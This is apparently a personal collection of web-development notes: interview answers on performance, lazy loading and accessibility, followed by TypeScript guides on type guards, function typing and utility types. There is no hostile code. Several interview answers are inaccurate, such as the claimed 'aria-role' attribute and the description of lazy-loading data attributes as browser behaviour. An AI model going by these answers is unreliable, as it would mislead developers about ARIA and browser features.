Monitor real-user performance: Tools like Google Analytics, or browser extensions like SpeedTracker, can provide real-user performance data. This can give you a good idea of how your web page is performing for your users.
Use synthetic monitoring: Synthetic monitoring allows you to simulate a user visiting your website from different locations and on different devices, this way you can monitor the performance of your website from various conditions.

How would you use a performance budget to ensure that a web page performs well on different devices and network conditions?

A performance budget is a set of guidelines and constraints that are put in place to ensure that a web page performs well on different devices and network conditions. Here are the steps that can be taken to use a performance budget to ensure that a web page performs well:

Identify the key performance metrics that are important for the web page, such as load time, time to first paint, and time to interactive.
Set realistic and achievable targets for each of the key performance metrics based on the devices and network conditions that the web page will be accessed from.
Use tools such as Lighthouse or WebPageTest to measure the current performance of the web page and compare it to the targets set in the performance budget.
Identify any areas where the web page is not meeting the targets set in the performance budget.
Use optimisation techniques to improve the performance of the web page, such as minifying and compressing resources, using browser caching, or optimising images.
Continuously monitor the performance of the web page and make adjustments as needed to ensure that it meets the targets set in the performance budget.
Use the budget to track the performance of the website through the development and deployment process, and to make informed decisions about what resources should be loaded and when.
Use the budget to evaluate the performance of the website after it is deployed, and to make adjustments as needed to ensure that it continues to meet the targets set in the performance budget.
Using a performance budget in this way helps to ensure that the web page will perform well on different devices and network conditions, providing a better experience for users.

How would you optimise the performance of a web page for different network conditions?

Optimising the performance of a web page for different network conditions involves considering the types of resources that are loaded on the page, the size of those resources, and how they are loaded.

Resource optimisation: Reduce the size of resources, such as images and JavaScript files, by compressing them and using appropriate image formats like JPEG2000, JPEG XR, and WebP.
Code splitting: Use code splitting to load only the necessary resources for a specific page, this will not only reduce the time to load the resources but also reduces the data usage.
Minimise the number of HTTP requests: Minimise the number of HTTP requests by combining multiple files into one and using browser caching.
Use a Content Delivery Network (CDN): A CDN can help to distribute resources to users based on their geographic location, which can help to improve the performance of a web page for users with slower network connections.
Progressive loading: Use progressive loading techniques, such as lazy loading, to load only the necessary resources for the user.
Optimise for offline: Use service workers to cache resources, so that they can be accessed offline. This means that if a user visits a page again when they are offline, they will still be able to access the page's content.

Explain the concept of code splitting and its impact on enhancing the performance of a web page.

Code splitting is a technique that allows you to divide your codebase into smaller chunks that can be loaded on-demand as the user navigates through your web page. This can improve the performance of your web page by reducing the amount of code that needs to be loaded and parsed on initial load.

Here are the steps that can be taken to use code splitting to improve the performance of a web page:

Use a bundler such as Webpack or Rollup to create multiple chunks of your codebase.
Use dynamic imports to load chunks of code as they are needed, rather than loading all code up front.
Use the preload and prefetch resource hints to tell the browser which chunks of code are likely to be needed next, so that they can be loaded in advance.
Use the import() function to load chunks of code on-demand.
Use the splitChunks option in webpack to automatically split your code into chunks based on usage.

By splitting your codebase into smaller chunks, code splitting can greatly improve the performance of your web page, especially for users on slower network connections. Code splitting can also help to reduce the amount of code that needs to be loaded and parsed on initial load, which can help to improve the time-to-interactive of your web page.

How would you use lazy loading to improve the performance of a web page?

Lazy loading is a technique that can be used to improve the performance of a web page by only loading resources when they are needed. Here are the steps that can be taken to use lazy loading to improve the performance of a web page:

Identify the resources on the web page that can be lazily loaded, such as images, videos, or other heavy resources.
Use a library or framework such as IntersectionObserver or LazyLoad to implement lazy loading for these resources.
Use the loading attribute to specify how the browser should treat images that are lazily loaded. For example, setting the attribute to lazy will tell the browser to only load the image when it is visible in the viewport.
Use the data-src attribute instead of the src attribute for images that are lazily loaded. This allows the browser to load the image when it is scrolled into view.
Use the data-srcset attribute instead of the srcset attribute for images that are lazily loaded. This allows the browser to load the correct size image based on the device and viewport.
Use the data-background attribute instead of the background attribute for elements that are lazily loaded. This allows the browser to load the background image when the element is scrolled into view.
Use the data-background-set attribute instead of the background-set attribute for elements that are lazily loaded. This allows the browser to load the correct background image based on the device and viewport.

By only loading resources when they are needed, lazy loading can greatly improve the performance of a web page, especially for users on slower network connections. Lazy loading can also help to reduce the amount of data that needs to be loaded, which can help to reduce the cost of data usage for users.

Do you know of any tools that help with performance budgeting?

Yes, there are several tools that can help with performance budgeting. Some popular ones include:

Lighthouse: This is an open-source tool that is built into the Chrome Developer Tools and can be used to audit the performance of a web page. It provides detailed information about the performance of a web page and includes a performance budget feature that allows you to set targets for key performance metrics.

WebPageTest: This is an open-source tool that allows you to test the performance of a web page on different devices and network conditions. It provides detailed information about the performance of a web page and includes a performance budget feature that allows you to set targets for key performance metrics.
SpeedCurve: This is a paid tool that allows you to monitor the performance of a web page over time. It provides detailed information about the performance of a web page and includes a performance budget feature that allows you to set targets for key performance metrics.
Calibre: This is a paid tool that allows you to create and manage performance budgets for your web pages. It provides detailed information about the performance of a web page and includes a performance budget feature that allows you to set targets for key performance metrics.
SpeedKit: This is a paid tool that allows you to improve the performance of a web page by optimising the delivery of resources. It provides detailed information about the performance of a web page and includes a performance budget feature that allows you to set targets for key performance metrics.

These tools can help you to identify performance bottlenecks, set performance budgets, and monitor the performance of your web pages over time.

Explain how you would use the RAIL performance model to improve the performance of a web page.

RAIL is a performance model that stands for Response, Animation, Idle, Load. It is a user-centric performance model that helps developers understand how to create fast and smooth user experiences.

Response: The browser should respond to user input in under 100ms. This means that when a user interacts with the page, such as clicking a button, the browser should respond quickly.
Animation: Animations should run at 60 frames per second (fps). This means that animations should be smooth and not janky.
Idle: The browser should use idle time to perform background tasks and prepare for the next user interaction.
Load: The page should be fully loaded in under 1000ms. This means that the page should be visible and usable in under 1 second.

To improve the performance of a web page using the RAIL model, developers should focus on minimising the time it takes to respond to user input, ensuring animations run smoothly, making use of idle time, and reducing the time it takes to fully load the page.

Accessibility questions

Accessibility (a11y) is about ensuring that digital technology is usable by people with disabilities. Accessibility is an important aspect of diversity, equity, and inclusion (DEI).

How you audit accessibility?

Start an accessibility audit by using tools such as Lighthouse and Axe tool. Once I fix all the issues reported by these tools, I move to the manual testing of the web application especially by not using my keyboard, use screen readers such as voiceover to see how the application is working in the real world.

How you will decide when to use `button` or `a` tag?

button is when we want to take an action such as submit the form, open a popup, etc. Whereas, an a tag is when we want to navigate (or redirect) the user to another page or part of a page.

What is ARIA?

Accessible Rich Internet Applications (ARIA) is a set of roles and attributes that define ways to make web content and web applications (especially those developed with JavaScript) more accessible to people with disabilities.

It supplements HTML so that interactions and widgets commonly used in applications can be passed to assistive technologies when there is not otherwise a mechanism. For example, ARIA enables accessible JavaScript widgets, form hints and error messages, live content updates, and more.

The first rule of ARIA use is "If you can use a native HTML element or attribute with the semantics and behavior you require already built in, instead of re-purposing an element and adding an ARIA role, state or property to make it accessible, then do so."

Other rules include:

Do not change native semantics, unless you really have to.
All interactive ARIA controls must be usable with the keyboard.
Do not use role="presentation" or aria-hidden="true" on a focusable element .
All interactive elements must have an accessible name.

Notes on ARIA Use in HTML

What is the difference between `role` and `aria-role`?

role is a native HTML attribute that is used to define the role of an element. Whereas, aria-role is an ARIA attribute that is used to define the role of an element.

What is the difference between `aria-label` and `aria-labelledby`?

aria-label is used to define a string that labels the current element. Whereas, aria-labelledby is used to define the ID of an element that labels the current element.

What is WAI?

The W3C Web Accessibility Initiative (WAI) develops standards and support materials to help you understand and implement accessibility.

What is WCAG?

Web Content Accessibility Guidelines (WCAG) 2 covers a wide range of recommendations for making Web content more accessible. Following these guidelines will make content accessible to a wider range of people with disabilities, including blindness and low vision, deafness and hearing loss, learning disabilities, cognitive limitations, limited movement, speech disabilities, photosensitivity and combinations of these. Following these guidelines will also often make your Web content more usable to users in general.

WCAG Guidelines

Perceivable

Provide text alternatives for non-text content.
Provide captions and other alternatives for multimedia.
Create content that can be presented in different ways, including by assistive technologies, without losing meaning.
Make it easier for users to see and hear content.

Operable

Make all functionality available from a keyboard.
Give users enough time to read and use content.
Do not use content that causes seizures or physical reactions.
Help users navigate and find content.
Make it easier to use inputs other than keyboard.

Understandable

Make text readable and understandable.
Make content appear and operate in predictable ways.
Help users avoid and correct mistakes.

Robust

Maximize compatibility with current and future user tools.

Practical Coding questions

Write a `mul` function which will produce the following outputs when invoked:

console.log(mul(2)(3)(4)) // output : 24
console.log(mul(4)(3)(4)) // output : 48

Below is the answer followed by an explanation to how it works:

function mul(x) {
  return function (y) {
    // anonymous function
    return function (z) {
      // anonymous function
      return x * y * z
    }
  }
}

How to empty an array in JavaScript?

var arrayList = ['a', 'b', 'c', 'd', 'e', 'f']

// 1.
arrayList = []

// 2.
arrayList.length = 0

// 3.
arrayList.splice(0, arrayList.length)

// 4.
while (arrayList.length) {
  arrayList.pop()
}

Different ways to declare a function

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions

// function declaration
function name([param[, param[, ... param]]]) {
   statements
}

// function expression
function [name]([param[, param[, ... param]]]) {
   statements
}

// generator function
function* name([param[, param[, ... param]]]) {
   statements
}

// generator function expression
function* [name]([param[, param[, ... param]]]) {
   statements
}

// arrow function expression
([param[, param]]) => {
   statements
}
param => expression

// `Function` constructor
new Function (arg1, arg2, ... argN, functionBody)

// generator function constructor
new GeneratorFunction (arg1, arg2, ... argN, functionBody)

Constructor vs. declaration vs. expression

// A function defined with the Function constructor assigned to the variable multiply:
var multiply = new Function('x', 'y', 'return x * y')

// A function declaration of a function named multiply:
function multiply(x, y) {
  return x * y
} // there is no semicolon here

// A function expression of an anonymous function assigned to the variable multiply:
var multiply = function (x, y) {
  return x * y
}

// A function expression of a function named func_name assigned to the variable multiply:
var multiply = function func_name(x, y) {
  return x * y
}

Type check helpers

Zander Martineau — Wed, 30 Sep 2026 00:00:00 GMT

Small functions that answer "is this value a…?" at runtime. Each one is a TypeScript type guard: it returns value is Type, so after an if (isString(x)) TypeScript knows x is a string.

All of these are also in my kit package, with tests, so you can import them from @mrmartineau/kit/utils instead of copying them.

import { isDefined, isPlainObject, isString } from '@mrmartineau/kit/utils'

const data: unknown = JSON.parse(localStorage.getItem('settings') ?? 'null')

if (isPlainObject(data) && isString(data.theme)) {
  document.documentElement.dataset.theme = data.theme // data.theme: string
}

const ids = [1, null, 2, undefined].filter(isDefined) // number[]

Use them on data you don't control: API responses, JSON.parse, localStorage, postMessage, catch errors. For whole objects from an API, a schema library (Zod, Valibot) is usually better than a pile of these.

Why not just `typeof`?

typeof is fine for most primitives, but it has some well-known surprises:

Value	`typeof` says
`null`	`'object'`
`[]`	`'object'`
`new Date()`	`'object'`
`NaN`	`'number'`
`class Foo {}`	`'function'`
an undeclared variable	`'undefined'` (no error)

The helpers below deal with each of these.

Primitives

export const isString = (value: unknown): value is string => typeof value === 'string'

export const isBoolean = (value: unknown): value is boolean => typeof value === 'boolean'

export const isBigInt = (value: unknown): value is bigint => typeof value === 'bigint'

export const isSymbol = (value: unknown): value is symbol => typeof value === 'symbol'

export const isFunction = (value: unknown): value is (...args: unknown[]) => unknown =>
  typeof value === 'function'

type Primitive = string | number | bigint | boolean | symbol | null | undefined

export const isPrimitive = (value: unknown): value is Primitive =>
  value === null || (typeof value !== 'object' && typeof value !== 'function')

isString and friends don't match wrapper objects like new String('a'). Nobody should be making those.

Numbers

typeof NaN === 'number', so decide whether NaN and Infinity count. Usually they don't:

// any number, including NaN and Infinity
export const isNumber = (value: unknown): value is number => typeof value === 'number'

// a real, usable number: not NaN, not Infinity
export const isFiniteNumber = (value: unknown): value is number =>
  typeof value === 'number' && Number.isFinite(value)

export const isInteger = (value: unknown): value is number => Number.isInteger(value)

Use Number.isFinite, Number.isInteger and Number.isNaN, not the global isFinite and isNaN. The global ones convert the value first, so isNaN('hello') is true and isFinite('42') is true.

To check a string that should contain a number (a form field, a URL parameter), convert it first:

export const isNumericString = (value: unknown): value is string =>
  typeof value === 'string' && value.trim() !== '' && Number.isFinite(Number(value))

isNumericString('42') // true
isNumericString('4.2e3') // true
isNumericString('') // false: Number('') is 0
isNumericString('12px') // false

`null` and `undefined`

export const isNull = (value: unknown): value is null => value === null

export const isUndefined = (value: unknown): value is undefined => value === undefined

// null or undefined ("nil")
export const isNil = (value: unknown): value is null | undefined => value == null

// the opposite, and it keeps the rest of the type
export const isDefined = <T>(value: T): value is NonNullable<T> => value != null

value == null is the one place loose equality is the right choice: it's true for null and undefined and nothing else.

isDefined is the one you'll use most, often with filter:

const ids = [1, null, 2, undefined, 3].filter(isDefined) // number[]

Objects

"Object" means different things, so there are three helpers.

// anything typeof calls 'object', minus null: arrays, dates, maps, class instances…
export const isObjectLike = (value: unknown): value is object =>
  typeof value === 'object' && value !== null

// an object with string keys, not an array
export const isObject = (value: unknown): value is Record<string, unknown> =>
  isObjectLike(value) && !Array.isArray(value)

// only {} literals and Object.create(null): no arrays, dates, maps or class instances
export const isPlainObject = (value: unknown): value is Record<string, unknown> => {
  if (!isObjectLike(value)) return false
  const proto = Object.getPrototypeOf(value)
  return proto === Object.prototype || proto === null
}

Value	`isObjectLike`	`isObject`	`isPlainObject`
`{ a: 1 }`	✅	✅	✅
`Object.create(null)`	✅	✅	✅
`[]`	✅	❌	❌
`new Date()`	✅	✅	❌
`new Map()`	✅	✅	❌
`new (class Foo {})()`	✅	✅	❌
`null`	❌	❌	❌

Use isPlainObject when you're about to go through the keys: merging settings, flattening nested objects (see Looping and iterating), deep-cloning JSON. A Date or Map has no useful keys and would be copied wrong.

isPlainObject returns false for a {} made in an iframe, because that iframe has its own Object.prototype. That rarely matters.

Does it have this key?

export const hasKey = <K extends PropertyKey>(value: unknown, key: K): value is Record<K, unknown> =>
  isObjectLike(value) && Object.hasOwn(value, key)

if (hasKey(data, 'id') && isString(data.id)) {
  data.id.toUpperCase()
}

Object.hasOwn only looks at the object's own keys. key in value also finds inherited ones, like toString.

Arrays

export const isArray = (value: unknown): value is unknown[] => Array.isArray(value)

// an array where every item passes a check
export const isArrayOf = <T>(value: unknown, check: (item: unknown) => item is T): value is T[] =>
  Array.isArray(value) && value.every(check)

isArrayOf(['a', 'b'], isString) // true
isArrayOf(['a', 1], isString) // false

Always Array.isArray, never instanceof Array. See Check if value is array for why.

Built-in objects

// a Date that holds a real date, not new Date('nonsense')
export const isValidDate = (value: unknown): value is Date =>
  value instanceof Date && !Number.isNaN(value.getTime())

export const isRegExp = (value: unknown): value is RegExp => value instanceof RegExp

export const isMap = (value: unknown): value is Map<unknown, unknown> => value instanceof Map

export const isSet = (value: unknown): value is Set<unknown> => value instanceof Set

export const isError = (value: unknown): value is Error => value instanceof Error

new Date('nonsense') is still a Date, so instanceof Date alone isn't enough. It's an "Invalid Date" whose getTime() is NaN.

Error.isError(value) is a newer built-in that also works for errors from other realms, like iframes. Check browser support before you rely on it. See typing catch errors for using isError in a catch block.

Promises and iterables

// anything with a .then method: real promises and "thenables" from other libraries
export const isPromiseLike = (value: unknown): value is PromiseLike<unknown> =>
  isObjectLike(value) && typeof (value as { then?: unknown }).then === 'function'

// arrays, strings, Maps, Sets, NodeLists…: anything for...of can loop over
export const isIterable = (value: unknown): value is Iterable<unknown> =>
  value != null && typeof (value as { [Symbol.iterator]?: unknown })[Symbol.iterator] === 'function'

isIterable('abc') is true, because strings are iterable. Check !isString(value) as well if you want collections only.

Empty values

"Empty" depends on the type, so one helper handles each:

export const isEmpty = (value: unknown): boolean => {
  if (value == null) return true
  if (typeof value === 'string' || Array.isArray(value)) return value.length === 0
  if (value instanceof Map || value instanceof Set) return value.size === 0
  if (isPlainObject(value)) return Object.keys(value).length === 0
  return false
}

isEmpty('') // true
isEmpty([]) // true
isEmpty({}) // true
isEmpty(new Map()) // true
isEmpty(0) // false: 0 is a value, not "empty"
isEmpty(new Date()) // false

isEmpty(' ') is false. Use value.trim() === '' if spaces should count as empty. For the single-type versions, see Check if JavaScript array is empty and Check if JavaScript object is empty.

Putting them together

The helpers combine into checks for whole objects:

type User = { id: number; name: string; tags: string[] }

export const isUser = (value: unknown): value is User =>
  isPlainObject(value) &&
  isFiniteNumber(value.id) &&
  isString(value.name) &&
  isArrayOf(value.tags, isString)

const data: unknown = await res.json()
if (!isUser(data)) throw new Error('Unexpected response')
data.tags.join(', ') // data: User

Past three or four fields, this is where a schema library pays off: you write the shape once and get both the check and the type.

The `Object.prototype.toString` trick

Older libraries check types with this, because it gives a precise name for built-ins:

const typeName = (value: unknown) => Object.prototype.toString.call(value).slice(8, -1)

typeName([]) // 'Array'
typeName(null) // 'Null'
typeName(new Date()) // 'Date'
typeName(/x/) // 'RegExp'
typeName(new Map()) // 'Map'

Any object can change its answer with Symbol.toStringTag, so it can be tricked. Prefer the specific helpers above.

TypeScript functions

Zander Martineau — Wed, 30 Sep 2026 00:00:00 GMT

How to type functions in TypeScript: parameters, return types, callbacks, generics, overloads and more.

Parameters and return types

function add(a: number, b: number): number {
  return a + b
}

const multiply = (a: number, b: number): number => a * b

TypeScript always needs parameter types. It infers the return type, so you can often leave it out. Write it anyway when:

the function is exported (the type is part of your public API, and a change to the body can't silently change it)
the function is recursive (TypeScript can't infer it)
you want an error inside the function if you return the wrong thing, rather than at every caller

Optional, default and rest parameters

function greet(name: string, greeting?: string) {
  // greeting: string | undefined
  return `${greeting ?? 'Hello'}, ${name}`
}

function greet2(name: string, greeting = 'Hello') {
  // greeting: string (inferred from the default)
  return `${greeting}, ${name}`
}

function sum(...numbers: number[]) {
  return numbers.reduce((total, n) => total + n, 0)
}

Optional parameters must come after the required ones.

Destructured parameters

The type goes after the whole pattern, not inside it:

type ButtonProps = { label: string; disabled?: boolean }

function Button({ label, disabled = false }: ButtonProps) {
  // …
}

{ label: string } inside a destructuring pattern would rename label to a variable called string. That's JavaScript syntax, not a type.

Function types

Describe a function's shape with an arrow-like type:

type Formatter = (value: number) => string

const toPounds: Formatter = (value) => `£${value.toFixed(2)}` // value: number, inferred

function formatAll(values: number[], format: Formatter) {
  return values.map(format)
}

With an interface, use a call signature. This also lets the function have properties:

interface Counter {
  (): number // callable
  reset: () => void // and has a property
}

`void` vs `undefined`

A function type that returns void means "the return value is ignored", not "returns nothing". So a callback typed () => void may still return something:

const list: number[] = []
;[1, 2, 3].forEach((n) => list.push(n)) // fine: push returns a number, forEach ignores it

A function declaration with : void must not return a value. Use : undefined only when callers need the actual undefined.

`never`: functions that don't return

function fail(message: string): never {
  throw new Error(message)
}

After a call to a never function, TypeScript knows the code below it can't run. That's useful for narrowing:

function getPort(value: string | undefined) {
  const port = value ?? fail('PORT is not set')
  return Number(port) // port: string
}

Generics

A generic function works with many types while keeping the link between input and output. The type parameter (T) is like a function parameter, but for types.

function first<T>(items: T[]): T | undefined {
  return items[0]
}

first([1, 2, 3]) // number | undefined
first(['a', 'b']) // string | undefined

Without generics you'd write any[] and lose the type, or write one function per type.

Constraints: `extends`

Limit what T can be, so you can use its properties:

function longest<T extends { length: number }>(a: T, b: T): T {
  return a.length >= b.length ? a : b
}

longest('apple', 'fig') // string
longest([1, 2], [1, 2, 3]) // number[]

`keyof`: a key of another parameter

function pluck<T, K extends keyof T>(items: T[], key: K): T[K][] {
  return items.map((item) => item[key])
}

const users = [{ name: 'Ada', age: 36 }]
pluck(users, 'name') // string[]
pluck(users, 'email') // error: "email" is not a key of the user

`const` type parameters

const keeps literal types instead of widening them (TypeScript 5.0+):

function routes<const T extends readonly string[]>(paths: T) {
  return paths
}

routes(['/', '/about']) // readonly ['/', '/about'], not string[]

Generic arrow functions in `.tsx`

In a .tsx file, <T> before an arrow function looks like JSX. Add a comma:

const identity = <T,>(value: T) => value

Overloads

Overloads let one function have different signatures, when the return type depends on the arguments in a way a union can't express. Write the public signatures first, then one implementation that handles them all:

function parse(value: string): number
function parse(value: string[]): number[]
function parse(value: string | string[]): number | number[] {
  return Array.isArray(value) ? value.map(Number) : Number(value)
}

parse('42') // number
parse(['1', '2']) // number[]

The implementation signature is hidden: callers only see the overloads above it.

Try a union or a generic first. Overloads are only needed when the return type depends on which argument type came in, as above.

Typing `this`

Declare this as a fake first parameter. It's removed from the output:

function onClick(this: HTMLButtonElement, event: MouseEvent) {
  this.disabled = true
}

button.addEventListener('click', onClick)

Arrow functions don't have their own this, so they can't declare one.

Async functions

An async function always returns a Promise:

async function getUser(id: string): Promise<User> {
  const res = await fetch(`/api/users/${id}`)
  if (!res.ok) throw new Error(`Failed: ${res.status}`)
  return res.json()
}

res.json() returns Promise<any>, so the Promise<User> return type is what gives callers a real type. That's a promise you're making, not a check. See type guards for validating the data.

Type guards and assertion functions

Two special return types narrow the argument for the caller:

function isString(value: unknown): value is string {
  return typeof value === 'string'
}

function assertIsString(value: unknown): asserts value is string {
  if (typeof value !== 'string') throw new Error('Not a string')
}

Full details in TypeScript type guards and narrowing.

Getting types from functions

Reuse a function's types without writing them again:

function createUser(name: string, age: number) {
  return { id: crypto.randomUUID(), name, age }
}

type NewUser = ReturnType<typeof createUser> // { id: string; name: string; age: number }
type CreateUserArgs = Parameters<typeof createUser> // [name: string, age: number]

type LoadedUser = Awaited<ReturnType<typeof getUser>> // unwraps the Promise

More utility types in the TypeScript note.

React event handlers

function Search() {
  const onChange = (event: React.ChangeEvent<HTMLInputElement>) => {
    console.log(event.target.value)
  }

  const onSubmit = (event: React.FormEvent<HTMLFormElement>) => {
    event.preventDefault()
  }

  return (
    <form onSubmit={onSubmit}>
      <input onChange={onChange} />
    </form>
  )
}

To pass a handler as a prop, reuse the element's own type:

type Props = { onClick: React.ComponentProps<'button'>['onClick'] }

Or write the handler inline: TypeScript infers the event type from the JSX attribute.

Common interview questions

What's the difference between unknown and any? any turns checking off. unknown forces you to narrow before use.
What's never? The type with no values: a function that never returns, or a case that can't happen (exhaustive checks).
void vs undefined? void means the return value is ignored. undefined is an actual value.
Why use generics? To keep the link between input and output types without any.
When would you use overloads? When the return type depends on the argument type in a way a union or generic can't express.
What's a type guard? A runtime check that narrows a type in that branch. See type guards.

TypeScript type guards and narrowing

Zander Martineau — Wed, 30 Sep 2026 00:00:00 GMT

Narrowing is TypeScript working out a more specific type inside a block of code, based on a check you made. A type guard is that check. It runs at runtime (it's real JavaScript), and TypeScript uses it to narrow the type at compile time.

function format(value: string | number) {
  // value: string | number
  if (typeof value === 'string') {
    return value.toUpperCase() // value: string
  }
  return value.toFixed(2) // value: number
}

In an interview, one sentence: "A type guard is a runtime check, like typeof, instanceof, in or a function that returns value is Type, that tells TypeScript a value's type is narrower inside that branch."

Common narrowing:

unknown or any → string
string | object | number → string
number | null | undefined → number
Cat | Dog → Cat

Built-in type guards

`typeof`: primitives

function double(value: string | number) {
  if (typeof value === 'number') return value * 2
  return value.repeat(2)
}

typeof returns 'string', 'number', 'bigint', 'boolean', 'symbol', 'undefined', 'object' or 'function'. Careful: typeof null === 'object'.

Truthiness

function greet(name?: string) {
  if (name) return `Hi ${name}` // name: string
  return 'Hi there'
}

This also rules out ''. If an empty string (or 0) is a valid value, check !== undefined instead.

Equality

function example(x: string | number, y: string | boolean) {
  if (x === y) {
    x.toUpperCase() // both must be string
  }
}

function len(value: string | null) {
  if (value === null) return 0
  return value.length // value: string
}

value != null (loose) rules out both null and undefined in one check.

`instanceof`: classes

function describe(value: Date | string) {
  if (value instanceof Date) return value.toISOString()
  return value
}

try {
  riskyThing()
} catch (error) {
  // error: unknown
  if (error instanceof Error) console.error(error.message)
}

`in`: does it have this property?

type Fish = { swim: () => void }
type Bird = { fly: () => void }

function move(animal: Fish | Bird) {
  if ('swim' in animal) return animal.swim() // animal: Fish
  return animal.fly() // animal: Bird
}

in also narrows unknown objects: after typeof data === 'object' && data !== null && 'id' in data, TypeScript knows data.id exists (as unknown).

`Array.isArray`

function toArray(value: string | string[]) {
  return Array.isArray(value) ? value : [value]
}

Discriminated unions

The most useful pattern. Give every member of a union the same property with a different literal value (the discriminant). Checking that property narrows to one member.

type State =
  | { status: 'loading' }
  | { status: 'error'; error: Error }
  | { status: 'success'; data: string[] }

function render(state: State) {
  switch (state.status) {
    case 'loading':
      return 'Loading…'
    case 'error':
      return state.error.message // only exists on the error member
    case 'success':
      return state.data.join(', ')
  }
}

This is why React Query, reducers and API results often use status or type fields. You can't read data until you've checked the status.

Exhaustive checks with `never`

If every case is handled, the value in the default branch has type never. Assign it to never: when someone adds a new member to the union, this line stops compiling and shows where to handle it.

function render(state: State) {
  switch (state.status) {
    case 'loading':
      return 'Loading…'
    case 'error':
      return state.error.message
    case 'success':
      return state.data.join(', ')
    default: {
      const unhandled: never = state
      throw new Error(`Unhandled status: ${JSON.stringify(unhandled)}`)
    }
  }
}

Custom type guards: `value is Type`

When the built-in checks aren't enough, write a function that returns a type predicate: value is Type. If it returns true, TypeScript narrows the argument to Type.

String

const isString = (value: unknown): value is string => {
  return typeof value === 'string'
}

Number

This rules out NaN, Infinity, null and undefined:

export const isFiniteNumber = (value: unknown): value is number => {
  return typeof value === 'number' && Number.isFinite(value)
}

describe('isFiniteNumber', () => {
  it('should return true', () => {
    expect(isFiniteNumber(-1000)).toBe(true)
    expect(isFiniteNumber(0)).toBe(true)
    expect(isFiniteNumber(10)).toBe(true)
    expect(isFiniteNumber(Number.MAX_VALUE)).toBe(true)
  })
  it('should return false', () => {
    expect(isFiniteNumber(Infinity)).toBe(false)
    expect(isFiniteNumber(NaN)).toBe(false)
    expect(isFiniteNumber(undefined)).toBe(false)
    expect(isFiniteNumber(null)).toBe(false)
    expect(isFiniteNumber('Some value')).toBe(false)
    expect(isFiniteNumber({ some: 'value' })).toBe(false)
    expect(isFiniteNumber(() => 20)).toBe(false)
  })
})

`isDefined`

const isDefined = <Value>(value: Value | undefined | null): value is Value => {
  return value !== null && value !== undefined
}

An object from an API

Data from fetch or JSON.parse has no real type. Accept unknown and check it:

type User = { id: number; name: string }

function isUser(value: unknown): value is User {
  return (
    typeof value === 'object' &&
    value !== null &&
    'id' in value &&
    typeof value.id === 'number' &&
    'name' in value &&
    typeof value.name === 'string'
  )
}

const data: unknown = await res.json()
if (isUser(data)) {
  data.name // data: User
}

For anything bigger than a few fields, use a schema library such as Zod or Valibot. A schema gives you the check and the type from one definition, so they can't drift apart:

import { z } from 'zod'

const User = z.object({ id: z.number(), name: z.string() })
type User = z.infer<typeof User>

const user = User.parse(await res.json()) // throws if the shape is wrong

Filtering arrays

A type predicate works as a filter callback, and the result type narrows too:

const values = ['a', undefined, 'b', null]

const strings = values.filter(isDefined) // string[]

Since TypeScript 5.5, TypeScript infers the predicate for simple arrow functions, so you often don't need to write one:

const strings = values.filter((value) => value != null) // string[] in TS 5.5+

A type guard can lie

TypeScript trusts your predicate completely. It doesn't check that the function body matches the type:

const isNumber = (value: unknown): value is number => true // compiles, but wrong

Keep guards small, and test them (like isFiniteNumber above).

Assertion functions: `asserts value is Type`

An assertion function throws if the check fails, instead of returning a boolean. After the call, TypeScript treats the value as narrowed for the rest of the scope, with no if needed.

function assertIsDefined<T>(value: T, message = 'Value is not defined'): asserts value is NonNullable<T> {
  if (value === null || value === undefined) throw new Error(message)
}

const root = document.getElementById('root') // HTMLElement | null
assertIsDefined(root, '#root is missing')
root.append('Hello') // root: HTMLElement

A plain asserts condition version works like Node's assert:

function assert(condition: unknown, message = 'Assertion failed'): asserts condition {
  if (!condition) throw new Error(message)
}

assert(typeof id === 'string', 'id must be a string')
id.toUpperCase() // id: string

Assertion functions must be declared with an explicit type (a function declaration, or a const with a type annotation). A plain arrow function assigned to an un-annotated const doesn't work as an assertion.

Type guard vs assertion function vs `as`

	Type guard	Assertion function	`as` (type assertion)
Signature	`(v): v is T`	`(v): asserts v is T`	`value as T`
Runtime check	yes	yes	none
On failure	returns `false`	throws	nothing: bugs later
Use with	`if`, `filter`, ternaries	validating inputs at the start	last resort, when you know more than TypeScript

as doesn't check or convert anything. It only tells TypeScript to trust you. Prefer a guard.

`unknown` vs `any`

any turns type checking off. You can do anything with it, and mistakes aren't caught.
unknown means "could be anything, so check first". You can't use it until you narrow it with a type guard.

Use unknown for data from outside (API responses, JSON.parse, catch errors), then narrow it.

Summary

Type guard	Use it to
Truthiness	rule out `null`, `undefined`, `''`, `0`, `false`
Equality (`===`, `!= null`)	narrow to a literal, or rule out `null`/`undefined`
`typeof`	narrow to a primitive (`string`, `number`, …)
`instanceof`	narrow to a class (`Date`, `Error`, …)
`in`	check a property exists; tell object types apart
`Array.isArray`	tell arrays from single values
Discriminated union	narrow a union on a shared `status`/`type` field
`value is T` function	reusable custom checks, `filter` callbacks
`asserts value is T` function	throw if an invariant is false, then carry on

TypeScript

Zander Martineau — Wed, 30 Sep 2026 00:00:00 GMT

TypeScript Deep Dive
The tsconfig Schema: http://json.schemastore.org/tsconfig

Built-in utility types

https://www.typescriptlang.org/docs/handbook/utility-types.html

/**
 * Make all properties in T optional
 */
type Partial<T> = {
  [P in keyof T]?: T[P]
}
// e.g.
Partial<Todo>

/**
 * Make all properties in T required
 */
type Required<T> = {
  [P in keyof T]-?: T[P]
}
// e.g.
Required<Props>

/**
 * Make all properties in T readonly
 */
type Readonly<T> = {
  readonly [P in keyof T]: T[P]
}
// e.g.
Readonly<Todo>

/**
 * From T, pick a set of properties whose keys are in the union K
 */
type Pick<T, K extends keyof T> = {
  [P in K]: T[P]
}
// e.g.
Pick<Todo, 'title' | 'completed'>

/**
 * Construct a type with a set of properties K of type T
 */
type Record<K extends keyof any, T> = {
  [P in K]: T
}
// e.g.
Record<string, number>
Record<string, string[]>
Record<
  string,
  {
    age: string
  }
>

/**
 * Exclude from T those types that are assignable to U
 */
type Exclude<T, U> = T extends U ? never : T
// e.g.
Exclude<'a' | 'b' | 'c', 'a'>

/**
 * Extract from T those types that are assignable to U
 */
type Extract<T, U> = T extends U ? T : never
// e.g.
Extract<'a' | 'b' | 'c', 'a' | 'f'>

/**
 * Construct a type with the properties of T except for those in type K.
 */
type Omit<T, K extends keyof any> = Pick<T, Exclude<keyof T, K>>
// e.g.
Omit<Todo, 'completed' | 'createdAt'>

/**
 * Exclude null and undefined from T
 */
type NonNullable<T> = T extends null | undefined ? never : T
// e.g.
NonNullable<string | number | undefined>

/**
 * Constructs a tuple type from the types used in the parameters of a function type Type.
 */
type Parameters<T extends (...args: any) => any> = T extends (
  ...args: infer P
) => any
